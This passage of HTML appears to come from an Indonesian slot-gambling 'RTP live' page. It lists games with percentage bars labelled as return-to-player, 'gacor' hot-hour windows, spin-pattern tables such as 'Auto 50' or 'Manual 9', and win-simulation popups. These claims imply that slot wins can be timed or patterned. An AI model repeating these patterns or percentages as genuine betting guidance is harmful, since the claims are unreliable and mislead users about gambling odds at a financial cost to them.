                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-12" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(12)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-12" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-12" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(12)">Simulasikan</button>
                  <div id="simulasi-result-12" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/48.png" alt="Jokers Luck">
         <div class="game-title">Jokers Luck</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-13" style="width: 60%;"></div>
            <div class="progress-bar-text" id="rtp-text-13">60%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(13)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-13">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-13">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 9</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-13" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(13)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-13" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-13" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(13)">Simulasikan</button>
                  <div id="simulasi-result-13" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/34.png" alt="Paradise Beach">
         <div class="game-title">Paradise Beach</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-14" style="width: 86%;"></div>
            <div class="progress-bar-text" id="rtp-text-14">86%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(14)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-14">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-14">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-14" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(14)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-14" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-14" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(14)">Simulasikan</button>
                  <div id="simulasi-result-14" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/31.png" alt="Summer Kool">
         <div class="game-title">Summer Kool</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-15" style="width: 10%;"></div>
            <div class="progress-bar-text" id="rtp-text-15">10%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(15)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-15">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-15">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-15" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(15)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-15" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-15" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(15)">Simulasikan</button>
                  <div id="simulasi-result-15" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/28.png" alt="Treasure Kingdom">
         <div class="game-title">Treasure Kingdom</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-16" style="width: 59%;"></div>
            <div class="progress-bar-text" id="rtp-text-16">59%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(16)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-16">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-16">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 16</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-16" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(16)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-16" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-16" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(16)">Simulasikan</button>
                  <div id="simulasi-result-16" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/11.png" alt="Dragon Riches">
         <div class="game-title">Dragon Riches</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-17" style="width: 40%;"></div>
            <div class="progress-bar-text" id="rtp-text-17">40%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(17)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-17">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-17">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 34</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-17" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(17)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-17" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-17" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(17)">Simulasikan</button>
                  <div id="simulasi-result-17" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/21.png" alt="Fortune Erawan">
         <div class="game-title">Fortune Erawan</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-18" style="width: 94%;"></div>
            <div class="progress-bar-text" id="rtp-text-18">94%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(18)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-18">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-18">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 26</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 31</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 18</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-18" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(18)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-18" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-18" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(18)">Simulasikan</button>
                  <div id="simulasi-result-18" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/37.png" alt="Mega777">
         <div class="game-title">Mega777</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-19" style="width: 26%;"></div>
            <div class="progress-bar-text" id="rtp-text-19">26%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(19)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-19">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-19">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-19" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(19)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-19" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-19" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(19)">Simulasikan</button>
                  <div id="simulasi-result-19" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/27.png" alt="Boss Casino">
         <div class="game-title">Boss Casino</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-20" style="width: 43%;"></div>
            <div class="progress-bar-text" id="rtp-text-20">43%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(20)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-20">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-20">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 42</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 25</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 8</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-20" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(20)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-20" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-20" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(20)">Simulasikan</button>
                  <div id="simulasi-result-20" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/30.png" alt="Power Of Gods">
         <div class="game-title">Power Of Gods</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-21" style="width: 58%;"></div>
            <div class="progress-bar-text" id="rtp-text-21">58%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(21)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-21">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-21">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-21" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(21)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-21" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-21" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(21)">Simulasikan</button>
                  <div id="simulasi-result-21" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/36.png" alt="Monkey King">
         <div class="game-title">Monkey King</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-22" style="width: 35%;"></div>
            <div class="progress-bar-text" id="rtp-text-22">35%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(22)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-22">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-22">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 6</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 38</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-22" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(22)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-22" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-22" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(22)">Simulasikan</button>
                  <div id="simulasi-result-22" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/52.png" alt="Minion Rush">
         <div class="game-title">Minion Rush</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-23" style="width: 46%;"></div>
            <div class="progress-bar-text" id="rtp-text-23">46%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(23)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-23">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-23">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 22</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 14</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-23" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(23)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-23" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-23" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(23)">Simulasikan</button>
                  <div id="simulasi-result-23" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/54.png" alt="League Of Legends">
         <div class="game-title">League Of Legends</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-24" style="width: 67%;"></div>
            <div class="progress-bar-text" id="rtp-text-24">67%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(24)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-24">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-24">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-24" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(24)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-24" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-24" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(24)">Simulasikan</button>
                  <div id="simulasi-result-24" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/25.png" alt="Plants Vs Zombies">
         <div class="game-title">Plants Vs Zombies</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-25" style="width: 71%;"></div>
            <div class="progress-bar-text" id="rtp-text-25">71%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(25)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-25">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-25">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 5</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-25" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(25)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-25" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-25" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(25)">Simulasikan</button>
                  <div id="simulasi-result-25" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/51.png" alt="Gods Of Olympus">
         <div class="game-title">Gods Of Olympus</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-26" style="width: 87%;"></div>
            <div class="progress-bar-text" id="rtp-text-26">87%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(26)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-26">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-26">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 26</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 16</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-26" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(26)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-26" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-26" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(26)">Simulasikan</button>
                  <div id="simulasi-result-26" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/44.png" alt="Buffalo King">
         <div class="game-title">Buffalo King</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-27" style="width: 75%;"></div>
            <div class="progress-bar-text" id="rtp-text-27">75%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(27)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-27">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-27">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 8</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-27" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(27)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-27" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-27" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(27)">Simulasikan</button>
                  <div id="simulasi-result-27" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/12.png" alt="Cleopatra">
         <div class="game-title">Cleopatra</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-28" style="width: 34%;"></div>
            <div class="progress-bar-text" id="rtp-text-28">34%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(28)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-28">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-28">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-28" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(28)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-28" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-28" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(28)">Simulasikan</button>
                  <div id="simulasi-result-28" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/33.png" alt="Lucky New Year">
         <div class="game-title">Lucky New Year</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-29" style="width: 93%;"></div>
            <div class="progress-bar-text" id="rtp-text-29">93%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(29)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-29">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-29">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                     <tr>
                        <td>Manual 38</td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                        <td class="pola-result"><span></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-29" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(29)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-29" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-29" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(29)">Simulasikan</button>
                  <div id="simulasi-result-29" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/mimi/24.png" alt="Night Christmas">
         <div class="game-title">Night Christmas</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-30" style="width: 24%;"></div>
            <div class="progress-bar-text" id="rtp-text-30">24%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(30)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-30">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-30">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-30" class="popup">
            <div class="popup-container">
